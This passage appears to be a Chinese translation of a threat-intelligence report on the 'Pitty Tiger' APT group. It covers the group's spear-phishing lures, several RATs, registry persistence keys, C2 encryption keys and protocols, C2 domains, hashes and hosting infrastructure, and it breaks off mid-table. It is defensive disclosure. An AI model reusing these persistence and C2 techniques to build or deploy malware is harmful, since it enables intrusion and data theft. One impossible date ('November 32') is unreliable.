侦查工作能够通过信息搜集找到攻破目标系统的手段,更能探测到目标系统隔离保护的目标(例如关键人员的姓名等因素)。 而且,互联网的大量公开信息源都为入侵者的侦查工作敞开方便之门:社交网站、出版读物、白皮书、企业网站、搜索引擎,等等。各种扫瞄漏洞的主动扫瞄程序也能挖掘出大量信息。 2、初始阶段/Initial Infections 在前一阶段里,APT攻击人员已经充分了解了目标(包括关键人员信息),知道从何处下手进入企业网络。而后,他们将会实施攻击,在企业内网的一台或数台服务器里安装永久性后门。 在这一阶段,他们通常会使用鱼叉式攻击(Spear Phishing)或偷渡式下载(Drive-by Downloads)的手段,攻陷一台或数台电脑(通常是工作站)。 鱼叉式攻击通常就针对特定Email地址发起的钓鱼式攻击。采用这一手段的入侵者,会向特定人群定点发送Email,而且Email总数不会很多。实际上,他们往往仅发送一封Email。这种针对特定受害者的花招,就是给受害人发送以假乱真的email,诱使后者点击某个链接以下载恶意软件,或者诱使他们打开有问题的邮件附件。 一些攻击者也会用“水坑”技术,成功攻破目标。要实施一个水坑攻击,攻击者首先要攻陷某个第三方网站。这种第三方网站通常是目标单位的目标人群通常会访问的承包商的网站。一旦有人访问这些第三方网站,他们的电脑就会中招。该方法有一个主要的缺点:网站会感染目标群体以外的人群。当然,攻击者会事先拟定对策避免这种情况。只要他们在侦察阶段做的工作足够充分,他们就会知道目标公司所有的IP地址。只要在脚本里添加几行识别IP的代码,就能够鉴别出访问该网站的终端是否属于他们要攻击的范围。 此外,入侵者还可以直接攻击目标单位的服务器,渗透到它们的网络中去。 3、扩大战果与后续行动/Access Strengthening 一旦入侵者能够访问到目标企业的内部电脑,他们就需要在这些电脑上安装后门程序,以便后续继续控制这些电脑。在安装后门的时候,如果一个程序不行,他们就会换其他后门程序。 在他们认为自己有足够权限之后,他们会开始做两件事:按照既定计划挖掘知识产权相关的文件、在被攻陷的网络里继续提升权限(以方便后续渗透)。对于行家里手来说,从拿下一台终端到攻破域管理员权限、获取全部Active Directory内容,并不需要太长的时间。 接下来,入侵者会在网络里四处游荡、以攫取他们感兴趣的内容。对于被害者来说,这种“游荡”行为很难检测。主要因为他们都会使用正确有效的登陆信息,使用正当的管理工具(诸如psExec)。 4、攫取数据/Data Exfiltration 攻击的最终目的就是要攫取数据。只是即使达成了目的,还有可能无法满足入侵者无休无止的贪欲。 攻击者通常将他们感兴趣的文件进行打包,然后通过远程管理工具RAT或FTP/HTTP传输出去。 这一环节并非是APT的终点。攻击者会滚雪球般扩大他们的权限,不断的窃取更多的信息,赖在网络里不停收集数据。 我们在blog里更详细的介绍了APT的各个阶段(http://blog.cassidiancybersecurity.com/tag/APT)。 二、“Pitty Tiger”事件背景 在我们常规的APT案件调查中,一个前所未见的恶意软件引起了我们的注意。我们决定调查这个软件,最终发现只有一个特定的团体才会使用它。在反病毒界,这个系列的程序都被认为是“Pitty Tiger”出品的恶意软件。 自2014年6月它被发现以来,它背后的服务器(C&C)一直在运转。 我们的研究表明,“Pitty Tiger”在2011年就开始制作恶意软件。结合他人的公开资料, 则基本可以推断这个组织的活动至少可以追溯到2010年。 这个组织不仅会使用自产的Pitty Tiger RAT工具进行APT行动,他们还会使用其他的恶意软件。 这个组织多次用到臭名昭著的Gh0st的变种程序,一个叫做“游侠/Paladin”的RAT程序。此外,他们也会使用自己开发的RAT程序,例如“MM RAT” (aka Troj/Goldsun-B)和“CT RAT”。在他们的C&C服务器上,还存在Gh0st的另外一种变种的痕迹——Leo。 在他们攻陷的工作站上,我们也找到了“Troj/ReRol.A”。这个程序用来收集系统信息,并可用来安装其他的恶意软件。在攻陷第一批主机后的情报侦查阶段,它主要承担木马下载和系统数据采集的任务。Pitty Tiger小组主要通过Email的Office附件传播这个病毒。 Pitty Tiger在服务器配置方面的水平不高。我们成功的收集到他们3台C&C服务器的信息。这些信息揭示出2013年底到2014年初的很多情况。 在调查C&C服务器数据的同时,我们了解了Pitty Tiger的运作环境。 本白皮书旨在披露我们对Pitty Tiger的解读,重点揭示他们的基础设施和技术实力。我们希望这本白皮书能够起到抛砖引玉的作用,带动业内深入各种反入侵的分析,促进全球对网络威胁的认知。 三、入侵途径 1、鱼叉式攻击+全副武装的邮件附件 在这方面,Pitty Tiger和多数APT组织没有什么区别,他们都用鱼叉式Email攻击目标网络,以寻求立足点。 我们找到了这个组织所发的、以目标企业的内部员工的身份发出的一封Email:
From: XXXXXXX To: XXXXXXX File: 1 Attachment: Bird’s Eye Point of View.doc While the holiday season means clustering clustering ‘time for a vacation’ for many, there are Those That Will Be of us staying home this year. That’s why we’ve Decided to take you on a trip around the world from a bird’s eye view of the item! It’s safe to say That MOST of the lucky people on vacation Will not see breathtaking sights like these. Remember to look down! XXXXXX
这封Email的附件是一个Microsoft Office Word文档。若打开该文档,则会触发编号为CVE-2014-1761的漏洞,继而感染打开附件的计算机:

pitty_tiger 02

利用Troj/ReRol.A感染计算机的word文档

以鱼叉式攻击的角度来看,这种攻击手段未免过于业余。不过在他们所发的其他email之中,包含了被害企业的一些被盗信息。所以我们认为这个组织发起过更像模像样的攻击。这些感染源能够在目标主机上安装Troj/ReRol.A,我们将在后文详细讨论这个问题。 换而言之,Pitty Tiger能够使用偷来的材料发起鱼叉式攻击。他们可能发送Email给被害单位的其他人,也可能发送Email给目标单位竞争对手,或者是其他目标。 Pitty Tiger会伪造有问题的Excel文件。不过,迄今为止,我们仅在他们发送的email里发现过只含有同种(Troj/ReRol.A )病毒的Excel文件。 2、直接攻击 虽然我们没有证据表明他们的exploits直接攻击了目标企业的服务器,但是我们有记录表明他们C&C服务器发起过多次漏洞扫瞄。 这些攻击人员用过多种不同的漏洞扫瞄程序。他们使用过各种“常规”的漏洞扫瞄工具,例如与Nmap相似的Hscan和流光。此外,他们还使用过特定漏洞的扫瞄工具,例如针对ZyWall和飞塔产品的专用扫描器。 Pitty Tiger组织能够成功利用HeartBleed漏洞获取目标系统的信息。HeartBleed是存在于老版本OpenSSL的一种漏洞,可泄露目标主机内存中的敏感信息。正是借助这一漏洞,Pitty Tiger成功获取了一台主机上的管理员登录信息。 pitty_tiger 03

Pitty Tiger通过HeartBleed漏洞窃取到的内存数据

不过,在信息采集阶段里,使用自动化的漏洞扫描器扫瞄大量IP的主机,或者扫瞄多个domain的系统,这种行为非常容易暴露。如果他们想要鬼鬼祟祟的潜伏下去,应该不会采用这种不明智的做法。但是,他们的C&C服务器竟然会无所忌惮的发起了这种漏洞扫瞄。所以 我们认为,即使他们在APT的进攻方面有所建树,但是很明显他们的基本功并不扎实。 四、恶意软件信息 1、TROJ/REROL.A Pitty Tiger主要通过微软Word文件攻击特定漏洞的手段攻击计算机。 杀毒软件将恶意软件识别为“Troj/ReRol.A”。它们主要被用作Pitty Tiger入侵攻击的敲门砖。 1.1、漏洞利用原理 我们发现,这组人员的一个文件(MD5 hash: e70c0479cdb9aa031a263740365e7939)攻击编号为CVE- 2012-0158的漏洞。这个漏洞存是微软Office 2010的一个早期漏洞,微软在2012年4月发布的MS12-027已经修复了这个问题。我们还发现了可以利用编号为CVE-2014-1761的漏洞,这就是个较新的漏洞。 他们发送过各种格式的Office文件,利用攻击编号为CVE-2012-0158的漏洞。因为这些文件包含受害单位的机要信息,我们决定不公开这些文件。 他们能够利用的漏洞最多是2014年6月的漏洞。这多数意味着Pitty Tiger无法接触到0day exploits,或者他们没有钱买这些程序。也可能因为攻击目标的运维水平不高,Pitty Tiger使用这些过时exploits就足以攻破目标网络。 我们发现的最初样本是个测试文件。打开这个文件后,会发现里面只有一行中文的“你好!”。
你好!

Pitty Tiger的诱饵测试文档

1.2、安装 在成功触发目标主机上的漏洞之后,exploit会在当前用户的临时文件夹里存放并执行“svohost.exe”程序(MD5 hash: 1752aacc08ee0acd58405e9bc10b0dbb)。
C:\DOCUME~1\USER\LOCALS~1\Temp\svohost.exe
根据Sophos的命名规则,这个可执行程序被命名为“Troj/ReRol.A”。如果使用sandbox打开这个程序,将会立刻触发sandbox的警报:

pitty_tiger 04

Troj/ReRol.A触发的sandbox警报

这个程序还会在当前用户的Application Data里保存自己的副本。

pitty_tiger 05

在sandbox用户文件夹中创建的Pitty Tiger恶意软件副本

它通过连接time.windows.com检查主机是否连接到网络,然后会和C&C服务器开始通讯——mac.avstore.com.tw。 pitty_tiger 06

Troj/ReRol.A与C&C服务器之间的加密通讯

Troj/ReRol.A的变种程序不多。我们发现的变种程序所用的user-Agent都是:
Mozilla/4.0 (compatible;)
它会在注册表的中的“shell”下添加记录,以保证目标主机持续调用病毒程序:
Key Path: \REGISTRY\USER\<SID>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Value Name: Shell Value: explorer.exe,C:\DOCUME~1\XXXXXX\APPLIC~1\svohost.exe,
svohost程序可以收集主机信息,并把这些信息上传到C&C服务器。它还能下载和执行程序。 1.3、命令&控制 它所发送的POST信息,数据包头都是0x11字节长。其中第一个字节都是0xC3,后续的0x10字节是加密密钥。包头里的密钥用来加密后面的数据正文,加密算法是RC4。在解密后,明文的最后一个字节应当还是0xC3。 经过相应的处理,我们就能解密C&C服务器和中招终端之间的通讯。 通过技术上的匿名处理,可以得到下述的通讯内容:
HostName :xxx UserName :xxx SysType  :32bit Windows 7 Enterprise Service Pack 1 6.1 7601 Organization: Owner:xxx   --------------Server Info-------------------  - AdobeARMservice - Adobe Acrobat Update Service - AeLookupSvc - Application Experience - AudioEndpointBuilder - ... (list goes on)   --------------Soft Info-------------------        1    Adobe AIR 4.0.0.1390        2    Adobe Shockwave Player 12.0 12.0.9.149        3    FileZilla Client 3.7.4.1 3.7.4.1        4    Mozilla Thunderbird 24.3.0 (x86 en-US) 24.3.0        5    ... (list goes on)   --------------IP Config------------------- Adapt Type: Ethernet NetCardNum:        11 NetCard Name:    {XXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX} Description :          Realtek RTL8139C+ Fast Ethernet NIC MAC-ADDR:           XX-XX-XX-XX-XX-XXX IP-Addr:                   10.xxx.xxx.xxx IP-Mask:                  255.255.255.0 GateWay:               10.xxx.xxx.xxx DHCP Serv:           1 DHCP Host:           10.xxx.xxx.xxx WINS Serv:           0 WINS PriHost:        WINS SecHost:

Troj/ReRol.A收集的样例信息

攻击者需要这些信息:它列出了系统上安装的所有软件和服务。 在把这些数据上传到C&C服务器之后,程序会响应C&C命令从中下载、安装其他恶意软件。 C&C服务器有2个文件:
  1. dr.asp:实现控制的ASP前端,它能够设置变量、发送payload。
  2. JHttpSrv.DLL:通过”regsvr32”实现的控制程序。ASP前端以4种方式调用这个程序:
  • SETIP:设置bot的IP地址;
  • AddKeyword(strKeyword, strFilePath): 在服务器上绑定关键字;
  • Work(lpByteArray, nDataLength): 解密playload,搜索注册的关键词、生成相关log;
  • ResponseBinary(): 回传符合特定关键字的可执行程序。
dr.asp注册的关键字有:
  • “SysType :32bit” 设置程序为 “32.exe”
  • “SysType :64bit” 设置程序为“64.exe”
现在,服务器上的文件名已经不再是32.exe/64.exe了。在过去,32.exe曾以下列文件名出现过:
  • 3200.exe
  • 322.exe
  • 32m.exe
  • 32mm.exe
其中322.exe是很傻很天真的合法中文calc.exe程序,这个文件用于测试目的。其余3个文件是接来下来要介绍的Rats工具。 2、Pitty Tiger RAT RAT是这群入侵者的名称的由来。“Pitty Tiger”是他们的标志。在这个RAT的网络通信里也会出现“Pitty Tiger”字样的字符串。 2.1、安装 在Sandbox里执行这个恶意软件(MD5 hash:be18418cafdb9f86303f7e419a389cc9)时,将会触发下列警报:

pitty_tiger 07

Pitty Tiger RAT触发的sandbox警报

它将藏匿于“C:\Windows\System32”。

pitty_tiger 08

Sandbox中Pitty Tiger释放的文件

“qmgrxp.exe”仅仅是原始二进制文件的简单复制,它会释放一个名为“packet64.dll”的文件,并将其注入到“explorer.exe”进程中。执行之后,会创建名为“PittyTiger”的互斥量(mutex)。 程序驻留则通过添加“qmgrxp.exe”文件路径到注册表WinlogonUserInit键值中:
Key Path: \REGISTRY\USER\<SID>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Value Name: UserInit Value: C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\qmgrxp.exe,

packet64.dll”是RAT的主要payload。在注入进程之后,便开始发送Hello数据包到C&C服务器:

pitty_tiger 09

PittyTiger RAT的样例通讯

2.2、命令&控制 所有发送给C&C服务器的请求都在“/FC001/”字符串后附加有bot id,而bot id则是由被感染的计算机名称、破折号和小写的磁盘序列号组成。 发送出的数据只是简单地进行base64编码,丝毫没有做加密处理。被感染后的计算机所发出的Hello数据包被编码后,是下面这样:

--------------------------PittyTigerV1.0  ---------------------

--------------            ^ ^   ----------------------------

--------------             ^    ----------------------------

Version:NULL

我们的样本有三个C&C服务器配置:

  • jackyandy.avstore.com.tw:80
  • chanxe.avstore.com.tw:443
  • newb02.skypetm.com.tw:80

接下来被执行的有以下命令:

  • 文件下载(get)和上传(put
  • 8bitprtsc)和16bitprtsc2)屏幕截取
  • 远程shellocmd/ccmd
  • 配置上传(setserv/freshserv
  • 直接命令执行

至于控制端部分,我们发现有两个不同的版本:

  • 仅处理PittyTiger连接的Delphi程序
  • 处理PittyTigerCT连接的.NET程序

其中处理PittyTigerCT连接的程序界面很有意思。我们已经能够确认有两个不同家族的恶意软件出自同一个作者之手,另一个恶意软件是后面我们将看到的“CT RAT”。

pitty_tiger 10

Pitty Tiger RAT控制端部分

3、CT RAT 这个远程管理工具常常被Pitty Tiger组织使用。我们已经能够获取到这个工具的客户端和服务器端部分。 我们发现了来自同一款程序的两个样本的两个不同的名字——32mm.exe和mm32.exe。 这个RAT看起来像是PittyTiger RAT的升级版本,因为我们发现的一个特殊的服务器端部分可以处理来自CT和PittyTiger的请求,说明它和PittyTiger是兼容的。此外,两者可执行的命令也是相同的。 3.1、安装 不出所料,当我们在sandbox中运行时,CT RAT触发了和PittyTiger同样的警报:

pitty_tiger 11

CT RAT触发的sandbox警报

CT RAT会释放两个文件在“C:\Program Files\Internet Explorer”: pitty_tiger 12

Sandbox中由CT RAT释放的文件

“ieupdate.exe”是一个注入DLL文件到“explorer.exe”进程的简单二进制程序。 程序驻留通过修改以下注册表键值来实现:

Key Path: \REGISTRY\USER\<SID>\Software\Microsoft\Windows NT\CurrentVersion\Windows

Value Name: load

Value: c:\PROGRA~1\INTERN~1\ieupdate.exe

在注入之后,RAT会发送一个初始登陆数据包至C&C服务器:

pitty_tiger 13

被CT RAT感染的计算机发出的加密通讯

3.2、命令&控制 RAT通讯是通过HTTP请求完成的,被发送的数据通过RC4加密和base64编码,其中RC4密钥是请求URL的Unicode形式。 经过解码和解密之后的登陆数据包包含如下字符串:

Login

->C:PC-XXX

->U:User-XXX

->L:10.10.10.1

->S:Microsoft Windows XP Service Pack 3 5.1 2600

->M:Nov 13 2013

->P:1033

它包含计算机名称、用户名、内网IP、系统版本、RAT内部版本和系统语言ID

接着CT RAT接收来自C&C服务器的命令。通常被执行的RAT功能如下:

  • 文件下载(GET)和上传(PUT
  • 远程shellocmd/ccmd
  • 配置上传(cfg
  • 休眠(sleep

3.3、版本和作者(们)

关于RAT配置,我们的样本是和“sop.avstore.com.tw”进行通讯,其中包含的“Mov 13 2013”字符串应该是版本识别码。

C&C服务器部分是用.NET编写的Windows二进制程序。我们发现了两个版本:

  • 仅作为CT控制端的版本 2013.10
  • 可作为CTPittyTiger控制端的版本 2013.12

“关于”窗口给出了开发者(们)的名字:

pitty_tiger 14

和测试主机交互的CT RAT控制端

能够处理PittyTiger和CT请求的控制端版本显示的作者(们)也是一样: pitty_tiger 15

CT/PittyTiger控制端

正如这些截屏所示,从PittyTiger到CT的转变很可能是在2013年的下半年。 幸亏有Google翻译,翻译后的作者信息如下:

CT console (compatible pittytiger) v1.3

2013.12 by Trees and snow

关于该作者的更多描述在后面我们会提到。

4、MM RATAKA TROJ/GOLDSUN-B

在调查之初,且尚未命名为“Troj/Goldsun-B”之前,我们将这个恶意软件名为为“MM RAT”。这是Pitty Tiger的小伙伴常使用的另一个远程管理工具。我们已经能够获得它的客户端和服务器端部分。

4.1、安装

我们发现的样本名字是3200.exe,在sandbox中触发的警报如下:

pitty_tiger 16

Troj/Goldsun-B触发的sandbox警报

“release.tmp”文件被释放到系统中:

pitty_tiger 17

恶意软件释放的文件

这个二进制文件也被复制到用户目录下的“Application Data”目录,并且注入“release.tmp”文件到“explorer.exe”进程中。 程序驻留通过添加程序路径到Winlogon Shell键值中实现:

Key Path: \REGISTRY\USER\<SID>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

Value Name: Shell

Value: explorer.exe,C:\DOCUME~1\<UserName>\APPLIC~1\<binary name>,

MM RAT嵌入有自己的DNS服务器IP地址来做C&C域名解析。这些DNS地址的列表如下:

  • 63.251.83.36
  • 64.74.96.242
  • 69.251.142.1
  • 212.118.243.118
  • 216.52.184.230
  • 61.145.112.78
  • 218.16.121.32

4.2、命令&控制

MM RAT在进程注入后开始进行域名解析,并立即发送请求。首次请求用来检查更新(GET /httpdocs/update/update.ini),然后发送Hello数据包:

pitty_tiger 18

Troj/Goldsun-B发送给C&C服务器的Hello数据包

感染之后的bot接着重复发送GET请求到“/httpdocs/mm/<bot_id>/ComMand.sec”获取远程命令。 通讯协议相当简单:GET请求被用来接收来自C&C服务器的数据,POST请求用来发送数据。在POST命令中,CGI名称表示命令。 可以执行的功能如下:
  • 使用密码进行C&C服务器验证
  • 远程Shell
  • 远程命令
  • 文件下载/上传/删除/搜索
  • 终止Bot
Bot能够请求的CGI文件如下:
  • Vip:测试连接情况
  • Owpp4:注册新bot
  • CReply:响应远程命令
  • Clrf:清除远程文件(读取之后清除ComMand.sec)
  • CFile:传输文件(文件传输或响应命令)
  • Cerr:发送错误
在本地的配置文件名为“schmup.sys”,该文件使用RC4加密,并采用“rEdstArs”的MD5值作为密钥。 我们的样本使用“mca.avstore.com.tw”、“star.yamn.net”和“bz.kimoo.com.tw”作为C&C服务器,它包含“1.6.0”的版本号,并用“9ol.8ik,”作为密码来验证bots。 不同于其他的C&C程序,MM RAT的C&C部分没有图形化界面,但是能够远程接收请求来管理bots。除此之外,bots不需要发送验证请求到C&C服务器(但是需要知道已配置密码和bots交互)。 管理协议和bots协议一样,但使用不同的CGI文件: -Shudown:关闭C&C -Cnor:为一个bot增加一条新命令(写入到“ComMand.sec”) -Mlist:得到bots列表 -Mlist2:写入bots列表到“Online.dat”文件 Bots对远程命令的响应可以通过请求“Reply.sec”文件得到(比如:GET /httpdocs/mm/<bot_id>/Reply.sec)。 4.3、网络模式 这些网络模式可能会在一些研究员的脑中响起警钟。MM RAT使用的网络模式和之前Lurid组织(APT攻击者)以及其他在中国的邪恶角色们所使用的Enfal恶意软件一样。 代码检查显示MM RAT并没有和Enfal恶意软件有相似之处,我们目前还无法知道为何这个恶意软件使用了相同的网络通讯模式。 5、PALADIN(游侠) RAT 这是Pitty Tiger组织使用的另一款远程管理工具。我们能够获取到它的客户端和服务器端。 5.1、安装 我们发现的二进制文件会释放一个恶意Word文档。下面是在sandbox中触发的警报:

pitty_tiger 19

Paladin RAT在sandbox中触发的警报

Wrod文件所包含的shellcode会释放并执行以下文件:
C:\Documents and Settings\<User>\Local Settings\Temp\svohost.exe
该程序逐个释放以下文件:

pitty_tiger 20

Sandbox中恶意软件释放的文件

这些tmp文件接着被复制到“C:\Windows\system32\Nwsapagentex.dll”并在系统中注册名为“Nwsapagent”的服务。 这款恶意软件是臭名昭著的Gh0st RAT的变种,不同的是我们手中的样本采用“ssss0”作为网络通讯的前缀而非“Gh0st”。 5.2、命令&控制 用于通讯协议的命令ID也会改变,但是功能却是一样的。 PALADIN RAT将配置信息直接写入在二进制程序中,并在运行时做解密。原本有多达5台C&C服务器可以被配置,但我们的样本只有一台:“ey.avsotre.com.tw:53”。 “EY”可能表示的是“Ernst & Young”,这一点都不奇怪,因为许多不同的攻击组织都确实在用反病毒厂商或其他大公司的名字,显得更合法一些。Pitty Tiger也不例外,具体细节在报告后面提及。 我们也发现了两个C&C二进制程序,分别是Paladin RAT控制端的2.1版本和2.2版本。2.1版本网络通讯以“ssss0”为开头,而2.2版本网络通讯以“Gh0st”开头。 pitty_tiger 21

测试机中的Paladin控制端

pitty_tiger 22

Paladin的多种功能:文件传输、截屏、cmd shell

6、LEO RAT 除了Paladin(游侠)RAT,我们还发现了另一款Gh0st RAT变种,名为“Leo”。尽管我们是在Pitty Tiger的C&C服务器中发现的它,但是没有证据表明它被Pitty Tiger所使用,与之相反,Paladin RAT经常被Pitty Tiger所用。 此外,我们在相同文件夹中发现了一款已编译的恶意软件被配置为连接到本地IP地址,很可能出于测试的目的。

pitty_tiger 23

Leo恶意软件控制端截图——Gh0st RAT的变种

五、基础架构 我的调查集中在Pitty Tiger使用的三个特别的C&C服务器上。这些C&C服务器不同于他们使用的其他C&C服务器的是他们被错误地配置了。一旦被解析成功,它将给我们提供更多的内幕。 我们发现了几个Pitty Tiger所使用的域名,其中最有趣的一个将会在这部分详细展示。 Pitty Tiger,像其他APT攻击者一样,在注册域名或创建子域名时常常用反病毒的“耳熟能详之名”。其中的样例包括avstore.com.tw、sophos.skypetm.com.tw、symantecs.com.tw、trendmicro.org.tw等等。 1、AVSTORE.COM.TW 1.1、WHOIS信息 这个域名的注册信息从2013年6月4日开始就未曾变动:

Domain Name: avstore.com.tw

Registrant:

information of network company

longsa longsa33@yahoo.com

+86.88885918

No.520.spring road.shenyang

shanghai, shanghai

CN

这些信息也被用来注册其他域名,像是skypetm.com.tw,同样是被Pitty Tiger所使用。

1.2、恶意软件家族

我们的研究引导我们发现了和avstore.com.tw子域名相关的四个不同的恶意软件家族:

  • PittyTiger RAT(又叫Backdoor:Win32/Ptiger.A
  • Troj/ReRol.A
  • CT RAT
  • Paladin RATGh0st RAT的变种)
MD5值 家族 C&C服务器

0d3b3b422044759b4a08a7ad8afe55c7

Paladin dropper

ey.avstore.com.tw

75cf4f853f0f350fac9be87371f15c8d

Exploit:Win32/CVE-2012-2539

mac.avstore.com.tw

b6380439ff9ed0c6d45759da0f3b05b8

Troj/ReRol.A dropper

sop.avstore.com.tw

f65dc0b3eeb3c393e89ab49a3fac95a8

CT RAT

e7dc3bbe8b38b7ee0e797a0e27635cfa

4ce8593c9de2b27b5c389f651c81638b

chanxe.avstore.com.tw

jackyandy.avstore.com.tw

8df89df484ca5c376b763479ea08d036

PALADIN

be18418cafdb9f86303f7e419a389cc9

Pitty Tiger RAT

jackyandy.avstore.com.tw

连接到avstore.com.tw的文件MD5列表

pitty_tiger 24

恶意软件样本、恶意软件家族和avstore.com.tw子域名的关联

1.3、C&C服务器和IP地址

托管企业

地理位置

IP范围

IP地址

主机

时间线

香港鼎丰鑫汇BGP数据中心

香港九龙

122.10.0.0

122.10.63.255

122.10.48.189 

chanxe.avstore.com.tw

jackyandy.avstore.com.tw

实际在用

飓风电子有限公司

美国菲蒙市

66.220.0.0

66.220.31.255

66.220.4.100 

mac.avstore.com.tw

sop.avstore.com.tw

ey.avstore.com.tw

实际在用

新世界电讯

香港香港城

58.64.175.0

58.64.175.255

58.64.175.191 

jackyandy.avstore.com.tw 

至2013-12

pitty_tiger 25

Avstore.com.tw基础架构:主机和子域名

2、SKYPETM.COM.TW 2.1、WHOIS信息 这个域名历史上有两次不同的WHOIS信息:
  • 2011年12月29日至2013年1月2日
Registrant :chenzhizhong Email : hurricane_huang@163.com Telephone : +86.2426836910
  • 2013年11月32日至今
Registrant : long sa Email : longsa33@yahoo.com Telephone : +86.88885918

2.2、恶意软件家族

和子域名skypetm.com.tw进行通讯且已识别的有六个恶意软件家族:

  • MM RAT
  • Pitty Tiger RAT
  • Troj/ReRol.A
  • CT RAT
  • Paladin
  • Exadog

MD5

恶意软件家族

C&C服务器

81fa811f56247c236566d430ae4798eb

MM RAT

ms11.skypetm.com.tw

55e456339936a56c73a7883ea1ddb672

Backdoor:Win32/Ptiger.A

botemail.skypetm.com.tw

d5da60d678d5a55a847e1e6723c7a4d0

Backdoor:Win32/Ptiger.A

aniu.skypetm.com.tw

0750569cf1733d4fbb01169476387cc2

Backdoor:Win32/Ptiger.A

aniu.skypetm.com.tw

zeng.skypetm.com.tw

abb0abfab252e4bfb9106273df3c1c2

Backdoor:Win32/Ptiger.A

aniu.skypetm.com.tw

zeng.skypetm.com.tw

c0656b66b9f4180e59e1fd2f9f1a85f2

Troj/Rerol.A

zeng.skypetm.com.tw

ce15fa3338b7fe780e85c511d5e49a98 

Troj/Rerol.A

zeng.skypetm.com.tw

8a54adb3976d1c03605656ca55be7400

Backdoor:Win32/Ptiger.A

super.skypetm.com.tw

a1ea6dc12b983c7262fe76c1b3663b24

Backdoor:Win32/Ptiger.A

qinoo.skypetm.com.tw

b6380439ff9ed0c6d45759da0f3b05b8

Troj/Rerol.A dropper

sophos.skypetm.com.tw

5e2360a8c4a0cce1ae22919d8bff49fd

Troj/ReRol.A

sophos.skypetm.com.tw

79e48961d1ee982a466d222671a42ccb

Troj/ReRol.A

sophos.skypetm.com.tw

4ab74387f7a02c115deea2110f961fd3

ReRol.A

sophos.skypetm.com.tw

bf95e89906b8a17fd611002660ffff32

Troj/ReRol.A

sophos.skypetm.com.tw

包含受害者信息

Word文件-Rerol.A dropper

sophos.skypetm.com.tw

4ce8593c9de2b27b5c389f651c81638b

CT RAT

newb02.skypetm.com.tw

8df89df484ca5c376b763479ea08d036

Paladin

newb02.skypetm.com.tw

22e47c5e3809a4150d0db7fc99a68cc0

Excel文件-Rerol.A dropper

margo.skypetm.com.tw

dd87c68c1e71bb104a48a6be87a2349f

Backdoor:Win32/Ptiger.A

ripper.skypetm.com.tw

068870c2c165a1d29fc2f3d3edfed3ae

Win32/Exadog.AA

link.skypetm.com.tw

未知

Backdoor:Win32/Ptiger.A

asdf.skypetm.com.tw

pitty_tiger 26

Skypetm.com.tw基础架构:子域名和恶意软件连接

托管企业

地理位置

IP范围

IP地址

主机

时间线

Take 2 Hosting Inc.

美国圣何塞

173.252.192.0

-

173.252.255.255

173.252.198.103

newb02.skypetm.com.tw

实际在用

飓风电子有限公司

美国菲蒙市

66.220.0.0

-

66.220.31.255

66.220.4.100

sophos.skypetm.com.tw

实际在用

台湾学术网络

台湾台北

210.60.0.0

-

210.60.255.255

210.60.141.45

botemail.skypetm.com.tw

至2012-3-6

Gorillaservers Inc.

美国洛杉矶

198.100.96.0

-

198.100.127.255

198.100.121.15

sophos.skypetm.com.tw

Gorillaservers Inc.

美国洛杉矶

198.100.96.0

-

198.100.127.255

198.100.121.15

margo.skypetm.com.tw 

至2013-11-22

Webnx Inc.

美国洛杉矶

216.18.192.0

-

216.18.223.255

216.18.208.4

botemail.skypetm.com.tw

2013-4-4/2013-12-16

Webnx Inc.

美国洛杉矶

216.18.192.0

-

216.18.223.255

216.18.208.4

qinoo.skypetm.com.tw

中华电信数据通信商务组

台湾台北

59.112.0.0

-

59.123.255.255

59.120.84.230

botemail.skypetm.com.tw

2012-3-12/2012-4-28

中华电信数据通信商务组

台湾台北

211.75.128.0

-

211.75.255.255

211.75.195.1

super.skypetm.com.tw

2011-8-30/2013-12-16

中华电信数据通信商务组

台湾台北

61.220.0.0

-

61.227.255.255

61.220.44.244

aniu.skypetm.com.tw

2013-4-5/2013-12-16

中华电信数据通信商务组

台湾台北

61.220.0.0

-

61.227.255.255

61.220.44.244

zeng.skypetm.com.tw

中华电信数据通信商务组

台湾台北

61.220.0.0

-

61.227.255.255

61.220.209.17

qinoo.skypetm.com.tw

新世界电讯

香港香港城

113.10.169.0

-

113.10.169.255

113.10.169.162

margo.skypetm.com.tw

实际在用

新世界电讯

香港香港城

58.64.185.0

-

58.64.185.255

58.64.185.200

zeng.skypetm.com.tw

2013-12-16/2013-12-16

新世界电讯

香港香港城

113.10.240.0

-

113.10.240.255

113.10.240.54

qinoo.skypetm.com.tw

新世界电讯

香港香港城

113.10.221.0

-

113.10.221.255

113.10.221.126

zeng.skypetm.com.tw

新世界电讯

香港香港城

113.10.240.0

-

113.10.240.255

113.10.240.50

link.skypetm.com.tw

2012-12-21/2013-12-16

亚洲数据(香港)有限公司

香港香港城

101.1.17.0

-

101.1.31.255

101.1.25.74

zeng.skypetm.com.tw

实际在用

ISP卫星宽带供应商

香港香港城

202.174.130.0 

-

202.174.130.255

202.174.130.110

ms11.skypetm.com.tw

2011-2-27/2013-12-16

Jeongkyunghee

韩国安养

221.144.0.0

-

221.168.255.255

221.150.164.114

link.skypetm.com.tw

2011-6-29/2012-12-18

3、两个域名的共同特征

3.1、恶意软件家族和样本

Avstore.com.twskypetm.com.tw的共同特征是皆与四个恶意软件家族进行网络通讯:

pitty_tiger 27

恶意软件样本、IP地址以及C&C服务器的连接

4、与PITTY TIGER相关的其他域名

域名

共享信息

共享域名

备注

paccfic.com

WHOIS信息

acers.com.tw, 

foxcom.com.tw,

dopodo.com.tw, 

stareastnet.com.tw

webconference.com.tw

WHOIS信息

techsun.com.tw

IP地址

techsun.com.tw, 

trendmicro.org.tw

stareastnet.com.tw

WHOIS信息

acers.com.tw, 

foxcom.com.tw, 

dopodo.com.tw, 

paccfic.com

两个PittyTiger恶意软件和一个CT RAT样本指向stareastnet.com.tw的几个子域名

IP地址

dopodo.com.tw, 

foxcom.com.tw, 

kimoo.com.tw, 

symantecs.com.tw

symantecs.com.tw

WHOIS信息

trendmicroup.com

一个PittyTiger dropper,一个Paladin恶意软件和一个CT RAT样本指向symantecs.com.tw的几个子域名

IP地址

dopodo.com.tw, 

foxcom.com.tw, 

kimoo.com.tw, 

stareastnet.com.tw, 

wmdshr.com, 

trendmicro.org.tw

trendmicroup.com

WHOIS信息

symantecs.com.tw

trendmicro.org.tw

WHOIS信息

Skypetm.com.tw, 

avstore.com.tw

一个Paladin和一个PittyTiger恶意软件样本指向trendmicro.org.tw的几个子域名

IP地址

webconference.com.tw, 

